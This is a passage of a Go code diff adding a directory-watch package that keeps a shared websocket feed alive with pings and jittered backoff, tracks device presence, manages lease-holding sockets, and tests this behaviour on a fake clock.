+ case fr.Pong: + case fr.Event != nil: + *v = v.withEvent(*fr.Event) + st.Online, st.Joined = v.online, v.joined + default: + st.Version = fr.Version + } +} diff --git a/internal/dirwatch/events_test.go b/internal/dirwatch/events_test.go new file mode 100644 index 0000000000..518a4ba7c3 --- /dev/null +++ b/internal/dirwatch/events_test.go @@ -0,0 +1,82 @@ +package dirwatch + +import ( + "errors" + "reflect" + "testing" + "time" +) + +func ev(e Event) Frame { return Frame{Event: &e} } + +func TestEventsFillOnlineAndJoinedAndLeaveTheVersionAlone(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + s := <-list + s.send(Frame{Version: 7}, nil) + s.send(ev(PresenceEvent("dev_b", true, 1)), nil) + s.send(ev(PresenceEvent("dev_a", true, 2)), nil) + s.send(ev(JoinedEvent("dev_c", "bg==", "linux", 3)), nil) + s.send(ev(PresenceEvent("dev_b", false, 4)), nil) + s.send(Frame{Pong: true}, nil) + s.send(Frame{Pong: true}, nil) + got := r.sub.State() + if got.Version != 7 { + t.Fatalf("an event moved the version to %d", got.Version) + } + if !reflect.DeepEqual(got.Online, []string{"dev_a"}) { + t.Fatalf("online was %v, want [dev_a]", got.Online) + } + want := []Joined{{Seq: 1, Device: "dev_c", Name: "bg==", Platform: "linux", At: 3}} + if !reflect.DeepEqual(got.Joined, want) { + t.Fatalf("joined was %+v", got.Joined) + } +} + +func TestARevokedDeviceIsNoLongerOnlineAndAnUnknownEventIsIgnored(t *testing.T) { + v := view{}.withEvent(PresenceEvent("dev_b", true, 1)) + v = v.withEvent(Event{T: "from-the-future", Device: "dev_b"}) + if len(v.online) != 1 { + t.Fatalf("an unknown event changed the view: %+v", v) + } + if v = v.withEvent(RevokedEvent("dev_b", 2)); len(v.online) != 0 { + t.Fatalf("a revoked device stayed online: %+v", v) + } +} + +func TestJoinedKeepsTheNewestEightWithRisingSeq(t *testing.T) { + var v view + for i := 0; i < MaxJoined+3; i++ { + v = v.withEvent(JoinedEvent("d", "", "", int64(i))) + } + if len(v.joined) != MaxJoined || v.joined[0].Seq != 4 || v.joined[MaxJoined-1].Seq != MaxJoined+3 { + t.Fatalf("joined ring is %+v", v.joined) + } +} + +func TestAStateHandedOutIsNotEditedByLaterEvents(t *testing.T) { + v := view{}.withEvent(PresenceEvent("dev_a", true, 1)) + before := v.online + v.withEvent(PresenceEvent("dev_b", true, 2)) + v.withEvent(PresenceEvent("dev_a", false, 3)) + if !reflect.DeepEqual(before, []string{"dev_a"}) { + t.Fatalf("a published slice changed: %v", before) + } +} + +func TestWhenTheSocketDropsNobodyIsKnownOnlineButJoinsStay(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + s := <-list + s.send(ev(PresenceEvent("dev_b", true, 1)), nil) + s.send(ev(JoinedEvent("dev_c", "", "linux", 2)), nil) + s.send(Frame{}, errors.New("reset")) + deadline := time.Now().Add(5 * time.Second) + for r.sub.State().Up && time.Now().Before(deadline) { + time.Sleep(time.Millisecond) + } + got := r.sub.State() + if got.Up || len(got.Online) != 0 || len(got.Joined) != 1 { + t.Fatalf("state after the drop was %+v", got) + } +} diff --git a/internal/dirwatch/feed.go b/internal/dirwatch/feed.go new file mode 100644 index 0000000000..bfe32ca4c7 --- /dev/null +++ b/internal/dirwatch/feed.go @@ -0,0 +1,331 @@ +package dirwatch + +import ( + "context" + "errors" + "slices" + "sync" + "time" +) + +// State is what the feed knows right now. +type State struct { + // Version is the newest directory version the socket has announced. + Version uint64 + // Up is true while the socket is open and has spoken: a socket that + // upgraded and says nothing is not believed. + Up bool + // Vouching is true while the open socket was answered with the server's + // word that it vouches for the leases the socket names. It is false + // whenever Up is. + Vouching bool + // Online lists, sorted, the other devices that hold a watch socket now. + // It is meaningful only while Up: the relay says who is online when a + // socket opens, so it is empty while the socket is down. Only a socket + // dialled with events hears it. + Online []string + // Joined holds the newest MaxJoined device-joined events, oldest first. + // A surface shows each Seq above the newest it has shown, once. + Joined []Joined + // Refused is the final refusal the relay ended the socket with (ErrRevoked + // or ErrRotated), nil otherwise. The feed does not dial again once it is + // set, so a surface that wants to tell the person has this one place to ask. + Refused error +} + +// equal says whether two states are the same to a surface. +func (s State) equal(o State) bool { + return s.Version == o.Version && s.Up == o.Up && s.Vouching == o.Vouching && + slices.Equal(s.Online, o.Online) && slices.Equal(s.Joined, o.Joined) && s.Refused == o.Refused +} + +// Follower is one surface's view of the feed. +type Follower interface { + // State is the feed's state now. + State() State + // Changes signals, without blocking the feed, that State is no longer what + // it was. Signals coalesce: a burst of frames is one signal, so the reader + // sees the newest state and never a backlog. It is closed by Close. + Changes() <-chan struct{} + // Probe asks the feed to find out now whether the socket is alive, for a + // window that has just been returned to. + Probe() + // Close stops following. The last follower to close takes the socket down. + Close() +} + +// Feed is one identity's connection and everything that follows it. +type Feed struct { + dial Dialer + clock Clock + retry backoff + kick chan struct{} + // redial asks the serving loop to end the socket it has and dial again. + redial chan struct{} + + mu sync.Mutex + state State + events view // what the events told; State.Online and State.Joined are its two parts + heard time.Time // when the open socket last showed a sign of life + subs map[*sub]struct{} + cancel context.CancelFunc + done chan struct{} +} + +// newFeed builds a feed that is not yet connected. +func newFeed(dial Dialer, clock Clock, jitter func() float64) *Feed { + return &Feed{ + dial: dial, clock: clock, + retry: backoff{rand: jitter}, + kick: make(chan struct{}, 1), + redial: make(chan struct{}, 1), + subs: map[*sub]struct{}{}, + } +} + +// start opens the connection in the background. +func (f *Feed) start() { + ctx, cancel := context.WithCancel(context.Background()) + f.cancel, f.done = cancel, make(chan struct{}) + go f.run(ctx) +} + +// stop closes the connection and waits until it is closed. +func (f *Feed) stop() { + f.cancel() + <-f.done +} + +// follow adds a follower. +func (f *Feed) follow(key string) *sub { + s := &sub{feed: f, key: key, changes: make(chan struct{}, 1)} + f.mu.Lock() + f.subs[s] = struct{}{} + f.mu.Unlock() + return s +} + +// leave removes a follower and reports whether it was the last. +func (f *Feed) leave(s *sub) (last bool) { + f.mu.Lock() + defer f.mu.Unlock() + delete(f.subs, s) + close(s.changes) + return len(f.subs) == 0 +} + +func (f *Feed) snapshot() State { + f.mu.Lock() + defer f.mu.Unlock() + return f.state +} + +// set replaces the state and wakes the followers when it differs. +func (f *Feed) set(edit func(*State)) { + f.mu.Lock() + defer f.mu.Unlock() + before := f.state + edit(&f.state) + if f.state.equal(before) { + return + } + for s := range f.subs { + select { + case s.changes <- struct{}{}: + default: // a signal is already waiting; the reader will see the newest state + } + } +} + +// run connects, serves and reconnects until it is stopped or refused. +func (f *Feed) run(ctx context.Context) { + defer close(f.done) + for ctx.Err() == nil { + err := f.session(ctx) + wait, again := f.retryIn(err) + if !again { + f.refuse(err) + return + } + if wait > 0 && !f.sleep(ctx, wait) { + return + } + } +} + +// refuse records the refusal that ended the feed for good, so followers hear it. +func (f *Feed) refuse(err error) { + if errors.Is(err, ErrRevoked) || errors.Is(err, ErrRotated) { + f.set(func(st *State) { st.Refused = err }) + } +} + +// session is one connection from dial to its end, and why it ended. +func (f *Feed) session(ctx context.Context) error { + // A redial asked for before this dial is answered by it, because the dial + // reads what it names after this point; one asked for later still ends it. + drain(f.redial) + s, err := f.dial(ctx) + if err != nil { + return err + } + defer s.Close() + return f.serve(ctx, s) +} + +// retryIn says how long to wait after a connection ended for err, and whether +// to come back at all. A refusal is final, a relay that stopped hearing us is +// answered at once, a relay without the route is asked again only rarely, and anything else is a dropped socket: back off, return. +func (f *Feed) retryIn(err error) (wait time.Duration, again bool) { + switch { + case errors.Is(err, ErrRevoked), errors.Is(err, ErrRotated): + return 0, false + case errors.Is(err, ErrNoRoute): + return ProbeEvery, true + case errors.Is(err, ErrSilent): + // The relay already told everyone this device was quiet, so waiting + // would only lengthen the time it shows offline. + f.retry.reset() + return 0, true + default: + return f.retry.next(), true + } +} + +// sleep waits d on the feed's clock and reports whether the feed is still wanted. +func (f *Feed) sleep(ctx context.Context, d time.Duration) bool { + t := f.clock.NewTimer(d) + defer t.Stop() + select { + case <-t.C(): + return true + case <-ctx.Done(): + return false + } +} + +// reply is what the reader goroutine found. +type reply struct { + frame Frame + err error +} + +// pump reads the socket on its own goroutine, so the serve loop can wait on +// frames and its timer at once. It ends with the context or the first error. +func pump(ctx context.Context, s Stream) <-chan reply { + out := make(chan reply) + go func() { + for { + f, err := s.Next(ctx) + select { + case out <- reply{f, err}: + case <-ctx.Done(): + return + } + if err != nil { + return + } + } + }() + return out +} + +// serve runs one open socket until it fails, and returns why. +func (f *Feed) serve(ctx context.Context, s Stream) error { + ctx, cancel := context.WithCancel(ctx) + defer cancel() + defer f.set(func(st *State) { + st.Up, st.Vouching = false, false + f.events = f.events.forgotten() + st.Online = f.events.online + }) + f.drainKick() + in := pump(ctx, s) + k := newKeeper(f.clock) + defer k.stop() + vouching := s.Vouching() + for { + select { + case r := <-in: + if r.err != nil { + return r.err + } + f.hear(r.frame, vouching) + k.heard() + case <-k.C(): + if k.dead() { + return errDead + } + if err := f.ping(ctx, s, k); err != nil { + return err + } + case <-f.kick: + if err := f.ping(ctx, s, k); err != nil && !k.outstanding { + return err + } + case <-f.redial: + return errRedial + case <-ctx.Done(): + return ctx.Err() + } + } +} + +var ( + errDead = errors.New("dirwatch: the socket stopped answering") + // errRedial ends a healthy socket because what it was dialled with changed. + errRedial = errors.New("dirwatch: the socket is dialled again") +) + +// ping sends one ping unless one is already waiting for its answer. +func (f *Feed) ping(ctx context.Context, s Stream, k *keeper) error { + if k.outstanding { + return nil + } + if err := s.Ping(ctx); err != nil { + return err + } + k.pinged() + return nil +} + +// hear files a frame. A socket that speaks is up, and a socket that has spoken +// is one worth reconnecting to at the first pace again. +func (f *Feed) hear(fr Frame, vouching bool) { + f.retry.reset() + f.mu.Lock() + f.heard = f.clock.Now() + f.mu.Unlock() + f.set(func(st *State) { + st.Up, st.Vouching = true, vouching + fr.apply(st, &f.events) + }) +} + +// lastHeard is when the open socket last showed a sign of life. +func (f *Feed) lastHeard() time.Time { + f.mu.Lock() + defer f.mu.Unlock() + return f.heard +} + +// redialNow asks the serving loop to end the socket and dial again; one waiting +// request is enough. The wait before the dial is the ladder's, so a burst of +// changes does not become a burst of dials. +func (f *Feed) redialNow() { + select { + case f.redial <- struct{}{}: + default: + } +} + +// drainKick forgets a probe asked for while there was no socket to probe. +func (f *Feed) drainKick() { drain(f.kick) } + +// drain empties a one-slot request channel. +func drain(c chan struct{}) { + select { + case <-c: + default: + } +} diff --git a/internal/dirwatch/feed_test.go b/internal/dirwatch/feed_test.go new file mode 100644 index 0000000000..bcde96a216 --- /dev/null +++ b/internal/dirwatch/feed_test.go @@ -0,0 +1,440 @@ +package dirwatch + +import ( + "context" + "errors" + "sync" + "testing" + "time" +) + +// fakeClock is a clock the test moves by hand. A timer fires only when +// Advance carries the clock past it, so no test waits on real time. +type fakeClock struct { + mu sync.Mutex + cond *sync.Cond + now time.Time + pending []*fakeTimer +} + +type fakeTimer struct { + clock *fakeClock + at time.Time + ch chan time.Time +} + +func newFakeClock() *fakeClock { + c := &fakeClock{now: time.Unix(1_000_000, 0)} + c.cond = sync.NewCond(&c.mu) + return c +} + +func (c *fakeClock) Now() time.Time { + c.mu.Lock() + defer c.mu.Unlock() + return c.now +} + +func (c *fakeClock) NewTimer(d time.Duration) Timer { + c.mu.Lock() + defer c.mu.Unlock() + t := &fakeTimer{clock: c, at: c.now.Add(d), ch: make(chan time.Time, 1)} + c.pending = append(c.pending, t) + c.cond.Broadcast() + return t +} + +func (t *fakeTimer) C() <-chan time.Time { return t.ch } + +func (t *fakeTimer) Stop() { + t.clock.mu.Lock() + defer t.clock.mu.Unlock() + t.clock.drop(t) +} + +// drop removes a timer; the caller holds the lock. +func (c *fakeClock) drop(t *fakeTimer) { + for i, p := range c.pending { + if p == t { + c.pending = append(c.pending[:i], c.pending[i+1:]...) + break + } + } + c.cond.Broadcast() +} + +// await blocks until the feed is at rest on exactly one timer set for span. +// That is the only moment moving the clock is meaningful: a timer set a moment +// too late would otherwise be jumped over. +func (c *fakeClock) await(span time.Duration) { + c.mu.Lock() + defer c.mu.Unlock() + for len(c.pending) != 1 || !c.pending[0].at.Equal(c.now.Add(span)) { + c.cond.Wait() + } +} + +// advance waits for the timer of the given span, moves the clock by `by`, and +// fires every timer that is now due. +func (c *fakeClock) advance(span, by time.Duration) { + c.await(span) + c.mu.Lock() + defer c.mu.Unlock() + c.now = c.now.Add(by) + for _, t := range append([]*fakeTimer(nil), c.pending...) { + if !t.at.After(c.now) { + t.ch <- c.now + c.drop(t) + } + } +} + +// tick lets one timer of the given span run out exactly. +func (c *fakeClock) tick(span time.Duration) { c.advance(span, span) } + +// fakeStream is one socket the test speaks and listens on. +type fakeStream struct { + in chan reply + pings chan struct{} + closed chan struct{} + once sync.Once + vouch bool // what Vouching answers +} + +func newFakeStream() *fakeStream { + return &fakeStream{in: make(chan reply), pings: make(chan struct{}, 8), closed: make(chan struct{})} +} + +func (s *fakeStream) Next(ctx context.Context) (Frame, error) { + select { + case r := <-s.in: + return r.frame, r.err + case <-ctx.Done(): + return Frame{}, ctx.Err() + case <-s.closed: + return Frame{}, errors.New("closed") + } +} + +func (s *fakeStream) Ping(context.Context) error { s.pings <- struct{}{}; return nil } +func (s *fakeStream) Vouching() bool { return s.vouch } +func (s *fakeStream) Close() { s.once.Do(func() { close(s.closed) }) } + +// send delivers one frame, or fails the read with err. +func (s *fakeStream) send(f Frame, err error) { s.in <- reply{f, err} } + +// rig is a feed on a fake clock dialling scripted sockets. +type rig struct { + t *testing.T + clock *fakeClock + feed *Feed + sub *sub + dials chan time.Time + streams chan *fakeStream + outcome func() (Stream, error) +} + +// newRig starts a feed whose every dial runs script, with jitter fixed at 0.4, a fraction that keeps every wait distinct from the keepalive's. +func newRig(t *testing.T, script func(n int) (*fakeStream, error)) *rig { + t.Helper() + r := &rig{t: t, clock: newFakeClock(), dials: make(chan time.Time, 64)} + n := 0 + dial := func(ctx context.Context) (Stream, error) { + r.dials <- r.clock.Now() + n++ + s, err := script(n) + if err != nil { + return nil, err + } + return s, nil + } + r.feed = newFeed(dial, r.clock, func() float64 { return 0.4 }) + r.sub = r.feed.follow("k") + r.feed.start() + t.Cleanup(func() { r.feed.stop() }) + return r +} + +// sockets is a script that hands out one new socket per dial and lists them. +func sockets(list chan *fakeStream) func(int) (*fakeStream, error) { + return func(int) (*fakeStream, error) { + s := newFakeStream() + list <- s + return s, nil + } +} + +// changed waits for the follower's signal. +func (r *rig) changed() { + r.t.Helper() + select { + case <-r.sub.Changes(): + case <-time.After(5 * time.Second): + r.t.Fatal("the follower was never told of a change") + } +} + +func (r *rig) dialAt() time.Time { + r.t.Helper() + select { + case at := <-r.dials: + return at + case <-time.After(5 * time.Second): + r.t.Fatal("the feed never dialled") + return time.Time{} + } +} + +func (r *rig) noDial() { + r.t.Helper() + select { + case <-r.dials: + r.t.Fatal("the feed dialled when it should have waited") + default: + } +} + +func TestAFrameBringsTheSocketUpWithItsVersion(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + s := <-list + s.send(Frame{Version: 7}, nil) + r.changed() + if got := r.sub.State(); !got.Up || got.Version != 7 { + t.Fatalf("state after a frame was %+v, want up at 7", got) + } +} + +func TestAnIdleSocketIsNotBelievedUp(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + <-list + r.clock.await(KeepEvery) + if r.sub.State().Up { + t.Fatal("a socket that has said nothing was called up") + } +} + +func TestABurstOfFramesIsOneSignalAndTheNewestVersion(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + s := <-list + for v := uint64(1); v <= 50; v++ { + s.send(Frame{Version: v}, nil) + } + // The feed has handled every frame once it has taken two more: the reader + // hands one over only when the loop is back waiting. + s.send(Frame{Pong: true}, nil) + s.send(Frame{Pong: true}, nil) + if got := r.sub.State().Version; got != 50 { + t.Fatalf("version after fifty frames was %d", got) + } + if n := len(r.sub.changes); n != 1 { + t.Fatalf("%d signals waiting, want the burst to coalesce to 1", n) + } +} + +func TestADroppedSocketComesBackWithJitteredBackoffAndResetsOnSpeech(t *testing.T) { + list := make(chan *fakeStream, 16) + r := newRig(t, sockets(list)) + first := r.dialAt() + (<-list).send(Frame{}, errors.New("reset")) + // The jitter is 0.4, so the waits are 0.4 of a ceiling that doubles from 1 s to the 60 s cap. + want := []time.Duration{400 * time.Millisecond, 800 * time.Millisecond, 1600 * time.Millisecond, 3200 * time.Millisecond, 6400 * time.Millisecond, 12800 * time.Millisecond, 24 * time.Second, 24 * time.Second} + last := first + for _, w := range want { + r.clock.await(w) + r.noDial() + r.clock.tick(w) + at := r.dialAt() + if at.Sub(last) != w { + t.Fatalf("redial came %v after the drop, want %v", at.Sub(last), w) + } + last = at + (<-list).send(Frame{}, errors.New("reset")) + } + // A socket that speaks puts the ladder back to the bottom. + r.clock.tick(24 * time.Second) + r.dialAt() + speaker := <-list + speaker.send(Frame{Version: 1}, nil) + r.changed() + // The next drop waits from the bottom rung again: 0.4 of one second. + speaker.send(Frame{}, errors.New("reset")) + r.clock.tick(400 * time.Millisecond) + r.dialAt() +} + +func TestARelayWithoutTheRouteIsAskedAgainOnlyOncePerHour(t *testing.T) { + r := newRig(t, func(int) (*fakeStream, error) { return nil, ErrNoRoute }) + r.dialAt() + for i := 0; i < 3; i++ { + r.clock.await(ProbeEvery) + r.noDial() + r.clock.tick(ProbeEvery) + r.dialAt() + } + if r.sub.State().Up { + t.Fatal("a relay with no route was called up") + } +} + +func TestARevokedOrRotatedSocketIsNotReconnected(t *testing.T) { + for _, refusal := range []error{ErrRevoked, ErrRotated} { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + r.dialAt() + s := <-list + s.send(Frame{Version: 1}, nil) + r.changed() + s.send(Frame{}, refusal) + r.changed() + <-r.feed.done + if r.sub.State().Up { + t.Fatalf("%v left the socket up", refusal) + } + if got := r.sub.State().Refused; got != refusal { + t.Fatalf("Refused = %v, want %v", got, refusal) + } + r.noDial() + } +} + +func TestADialRefusedAsRevokedStopsTheFeed(t *testing.T) { + r := newRig(t, func(int) (*fakeStream, error) { return nil, ErrRevoked }) + r.dialAt() + <-r.feed.done + r.noDial() + if r.sub.State().Refused != ErrRevoked { + t.Fatal("a dial refused as revoked did not reach the followers") + } +} + +func TestAQuietSocketIsPingedAndStaysUpWhenItAnswers(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + r.dialAt() + s := <-list + for i := 0; i < 5; i++ { + r.clock.tick(KeepEvery) + <-s.pings + s.send(Frame{Pong: true}, nil) + } + r.noDial() +} + +func TestAMissedPongWithinTheKeepaliveIsADeadSocket(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + r.dialAt() + s := <-list + s.send(Frame{Version: 1}, nil) + r.changed() + r.clock.tick(KeepEvery) + <-s.pings + r.clock.tick(PongWithin) + <-s.closed + r.changed() + if r.sub.State().Up { + t.Fatal("a socket that never answered was left up") + } + r.clock.tick(RetryBase * 2 / 5) + r.dialAt() +} + +func TestAWakeAfterALongSleepIsADeadSocketWithoutWaitingForAPong(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + r.dialAt() + s := <-list + s.send(Frame{Version: 1}, nil) + r.changed() + r.clock.advance(KeepEvery, 3*KeepEvery) // the wall clock jumped: the machine slept + <-s.closed + if len(s.pings) != 0 { + t.Fatal("a socket that slept was pinged rather than dropped") + } +} + +func TestAProbeAsksAtOnceAndDropsASocketThatDoesNotAnswer(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + r.dialAt() + s := <-list + s.send(Frame{Version: 1}, nil) + r.changed() + r.sub.Probe() + <-s.pings + r.clock.tick(PongWithin) + <-s.closed +} + +func TestOneSocketServesEveryFollowerAndTheLastToLeaveClosesIt(t *testing.T) { + list := make(chan *fakeStream, 4) + clock := newFakeClock() + dials := 0 + build := func() *Feed { + return newFeed(func(context.Context) (Stream, error) { + dials++ + s := newFakeStream() + list <- s + return s, nil + }, clock, func() float64 { return 0 }) + } + a := follow("one-identity", build) + b := follow("one-identity", build) + s := <-list + s.send(Frame{Version: 3}, nil) + <-a.Changes() + <-b.Changes() + a.Close() + select { + case <-s.closed: + t.Fatal("the socket closed while a follower was left") + default: + } + b.Close() + <-s.closed + if dials != 1 { + t.Fatalf("two followers dialled %d times, want 1", dials) + } + c := follow("one-identity", build) + defer c.Close() + <-list + if dials != 2 { + t.Fatalf("a follower after everyone left dialled %d times in all, want 2", dials) + } +} + +func TestRedialsAtOnceOnSilentClose(t *testing.T) { + list := make(chan *fakeStream, 8) + r := newRig(t, sockets(list)) + r.dialAt() + (<-list).send(Frame{}, errors.New("reset")) + // An ordinary drop climbs the ladder: 0.4 of the first rung. + r.clock.tick(400 * time.Millisecond) + r.dialAt() + // The relay saying it stopped hearing us is answered with a dial and no + // wait, so no timer stands between the close and the dial. + (<-list).send(Frame{}, ErrSilent) + r.dialAt() + if r.sub.State().Refused != nil { + t.Fatal("a silent close was taken as a refusal") + } + // The ladder was reset: the next ordinary drop waits from the bottom rung. + (<-list).send(Frame{}, errors.New("reset")) + r.clock.tick(400 * time.Millisecond) + r.dialAt() +} + +func TestDeadAfterIsTwoAndAHalfBeats(t *testing.T) { + if KeepEvery != 10*time.Second { + t.Fatalf("KeepEvery = %v, want the 10 s beat", KeepEvery) + } + if DeadAfter != 25*time.Second { + t.Fatalf("DeadAfter = %v, want 2.5 beats (25 s)", DeadAfter) + } + if PongWithin != DeadAfter-KeepEvery { + t.Fatalf("PongWithin = %v, want what is left of DeadAfter after one beat", PongWithin) + } +} diff --git a/internal/dirwatch/follow.go b/internal/dirwatch/follow.go new file mode 100644 index 0000000000..a35eb6b232 --- /dev/null +++ b/internal/dirwatch/follow.go @@ -0,0 +1,69 @@ +package dirwatch + +import ( + "math/rand/v2" + "sync" +) + +// feeds is the process's open feeds by key. One identity's socket is shared by +// every surface that reads its directory, so a second follower joins the first +// feed and does not open a second socket. +var ( + feedsMu sync.Mutex + feeds = map[string]*Feed{} +) + +// Follow joins the process's feed for key, opening its socket if nobody else +// has. The key names the identity on its relay; dial is used only by the +// follower that opens the feed. +func Follow(key string, dial Dialer) Follower { + return follow(key, func() *Feed { return newFeed(dial, realClock{}, rand.Float64) }) +} + +// follow joins, or makes and starts, the feed for key. +func follow(key string, build func() *Feed) Follower { + feedsMu.Lock() + defer feedsMu.Unlock() + f, ok := feeds[key] + if !ok { + f = build() + feeds[key] = f + f.start() + } + return f.follow(key) +} + +// sub is one follower. +type sub struct { + feed *Feed + key string + changes chan struct{} + once sync.Once +} + +func (s *sub) State() State { return s.feed.snapshot() } +func (s *sub) Changes() <-chan struct{} { return s.changes } +func (s *sub) Probe() { s.feed.probe() } +func (s *sub) Close() { s.once.Do(s.release) } + +// release leaves the feed, and the last to leave takes the socket down and +// retires the feed so the next follower starts a fresh one. +func (s *sub) release() { + feedsMu.Lock() + last := s.feed.leave(s) + if last { + delete(feeds, s.key) + } + feedsMu.Unlock() + if last { + s.feed.stop() + } +} + +// probe asks the serving loop to ping now; one waiting request is enough. +func (f *Feed) probe() { + select { + case f.kick <- struct{}{}: + default: + } +} diff --git a/internal/dirwatch/holder.go b/internal/dirwatch/holder.go new file mode 100644 index 0000000000..b7cfc6acd9 --- /dev/null +++ b/internal/dirwatch/holder.go @@ -0,0 +1,176 @@ +package dirwatch + +import ( + "context" + "math/rand/v2" + "slices" + "sync" +) + +// ── THE HOLDING SOCKET ────────────────────────────────────────────────────── +// +// A process that holds chats keeps one socket of its own that names them, so +// the relay can take the socket's pings as proof that the holder is alive and +// the holder need not send a heartbeat while it is (STAGE-1-CONTRACTS.md +// §21.11). It is kept apart from the home screen's feed on purpose: the home +// socket names no holds, so it vouches for nothing and a screen that is only +// looked at cannot be mistaken for a holder. +// +// The socket is the Feed that already dials, pings, notices death and backs off +// with jitter. The holder adds only what a hold needs: the set it names, a +// redial when that set changes, and the question "is this hold covered". + +// HoldDialer opens one socket that names holds. A hold is whatever the dialler +// and the relay agree names a lease; this package only compares them. +type HoldDialer[H comparable] func(ctx context.Context, holds []H) (Stream, error) + +// Holder is one identity's holding socket. The socket exists only while +// somebody holds a hold. +type Holder[H comparable] struct { + clock Clock + jitter func() float64 + max int + key string + dial HoldDialer[H] + + mu sync.Mutex + feed *Feed // nil while no hold is taken + order []*Holding[H] // the holds asked for, in the order they were asked + dialled []H // what the open, or last opened, socket names +} + +// holders is the process's holders by key, one per identity as feeds are. +var ( + holdersMu sync.Mutex + holders = map[string]any{} +) + +// Hold returns the process's holding socket for key, making it if this is the +// first to ask. It dials nothing until somebody takes a hold, and it never +// names more than max holds. The key names the identity on its relay; dial is +// used only by the caller that makes it. +func Hold[H comparable](key string, max int, dial HoldDialer[H]) *Holder[H] { + holdersMu.Lock() + defer holdersMu.Unlock() + if h, ok := holders[key].(*Holder[H]); ok { + return h + } + h := newHolder(key, max, dial, realClock{}, rand.Float64) + holders[key] = h + return h +} + +func newHolder[H comparable](key string, max int, dial HoldDialer[H], clock Clock, jitter func() float64) *Holder[H] { + return &Holder[H]{clock: clock, jitter: jitter, max: max, key: key, dial: dial} +} + +// open is the feed's dialler: it opens a socket naming the holds asked for now +// and remembers what it named, so "is this hold covered" is about this socket. +func (h *Holder[H]) open(ctx context.Context) (Stream, error) { + named := h.named() + s, err := h.dial(ctx, named) + if err != nil { + return nil, err + } + h.mu.Lock() + h.dialled = named + h.mu.Unlock() + return s, nil +} + +func (h *Holder[H]) named() []H { + h.mu.Lock() + defer h.mu.Unlock() + return h.namedLocked() +} + +// namedLocked is the distinct holds asked for, the first max of them in the +// order they were asked. The rest are never named, so they are never covered. +func (h *Holder[H]) namedLocked() []H { + var out []H + for _, w := range h.order { + if len(out) < h.max && !slices.Contains(out, w.hold) { + out = append(out, w.hold) + } + } + return out +} + +// Holding is one holder's hold, as it reads the socket. +type Holding[H comparable] struct { + holder *Holder[H] + feed *Feed + hold H + sub *sub + once sync.Once +} + +// Take asks the socket to name hold and returns the handle to read it by. The +// first hold opens the socket; one that changes what is named ends the socket +// and dials again. +func (h *Holder[H]) Take(hold H) *Holding[H] { + h.mu.Lock() + before := h.namedLocked() + fresh := h.feed == nil + if fresh { + h.feed = newFeed(h.open, h.clock, h.jitter) + h.dialled = nil + } + w := &Holding[H]{holder: h, feed: h.feed, hold: hold, sub: h.feed.follow(h.key)} + h.order = append(h.order, w) + changed := !slices.Equal(before, h.namedLocked()) + h.mu.Unlock() + switch { + case fresh: + w.feed.start() + case changed: + w.feed.redialNow() + } + return w +} + +// Healthy says whether the relay is vouching for the hold: the socket is open, +// its server said it vouches, the socket was dialled naming this hold, and it +// showed a sign of life within DeadAfter. Every part matters. A socket that is +// down proves nothing; a server that did not say so is an old one; a socket +// dialled before the hold was taken does not name it; and a link that went +// quiet may be half open, which the feed only notices at its own deadline. +func (w *Holding[H]) Healthy() bool { + st := w.feed.snapshot() + if !st.Up || !st.Vouching { + return false + } + h := w.holder + h.mu.Lock() + named := slices.Contains(h.dialled, w.hold) + h.mu.Unlock() + return named && h.clock.Now().Sub(w.feed.lastHeard()) <= DeadAfter +} + +// Changes signals that the socket's state changed, coalesced as a Follower's +// are, and is closed by Release. +func (w *Holding[H]) Changes() <-chan struct{} { return w.sub.changes } + +// Release gives the hold up. The last to be released takes the socket down; a +// release that changes what is named dials again. +func (w *Holding[H]) Release() { w.once.Do(w.release) } + +func (w *Holding[H]) release() { + h := w.holder + h.mu.Lock() + before := h.namedLocked() + h.order = slices.DeleteFunc(h.order, func(o *Holding[H]) bool { return o == w }) + last := len(h.order) == 0 + changed := !slices.Equal(before, h.namedLocked()) + if last { + h.feed = nil + } + h.mu.Unlock() + w.feed.leave(w.sub) + switch { + case last: + w.feed.stop() + case changed: + w.feed.redialNow() + } +} diff --git a/internal/dirwatch/holder_test.go b/internal/dirwatch/holder_test.go new file mode 100644 index 0000000000..0c7319c467 --- /dev/null +++ b/internal/dirwatch/holder_test.go @@ -0,0 +1,192 @@ +package dirwatch + +import ( + "context" + "sync" + "testing" + "time" +) + +// redialWait is the wait after a good socket ends: the first rung, RetryBase, +// times the fixed jitter of 0.4. +const redialWait = 400 * time.Millisecond + +// hold is the test's stand-in for what a socket names. +type hold struct { + cell string + fence uint64 +} + +// holderRig is a holder on a fake clock dialling scripted sockets, and the +// holds each dial named. +type holderRig struct { + t *testing.T + clock *fakeClock + holder *Holder[hold] + streams chan *fakeStream + mu sync.Mutex + dialled [][]hold + vouch bool // whether the next sockets vouch +} + +func newHolderRig(t *testing.T, max int) *holderRig { + t.Helper() + r := &holderRig{t: t, clock: newFakeClock(), streams: make(chan *fakeStream, 8), vouch: true} + dial := func(_ context.Context, holds []hold) (Stream, error) { + s := newFakeStream() + r.mu.Lock() + s.vouch = r.vouch + r.dialled = append(r.dialled, holds) + r.mu.Unlock() + r.streams <- s + return s, nil + } + r.holder = newHolder("k", max, dial, r.clock, func() float64 { return 0.4 }) + return r +} + +func (r *holderRig) socket() *fakeStream { + r.t.Helper() + select { + case s := <-r.streams: + return s + case <-time.After(5 * time.Second): + r.t.Fatal("the holder never dialled") + return nil + } +} + +func (r *holderRig) dials() [][]hold { + r.mu.Lock() + defer r.mu.Unlock() + return append([][]hold(nil), r.dialled...) +} + +// speak makes the socket say something and waits until the holder believes it. +func (r *holderRig) speak(s *fakeStream, w *Holding[hold]) { + r.t.Helper() + s.send(Frame{Version: 1}, nil) + for deadline := time.Now().Add(5 * time.Second); !w.feed.snapshot().Up; time.Sleep(time.Millisecond) { + if time.Now().After(deadline) { + r.t.Fatal("the holder was never told the socket is up") + } + } +} + +// A hold is 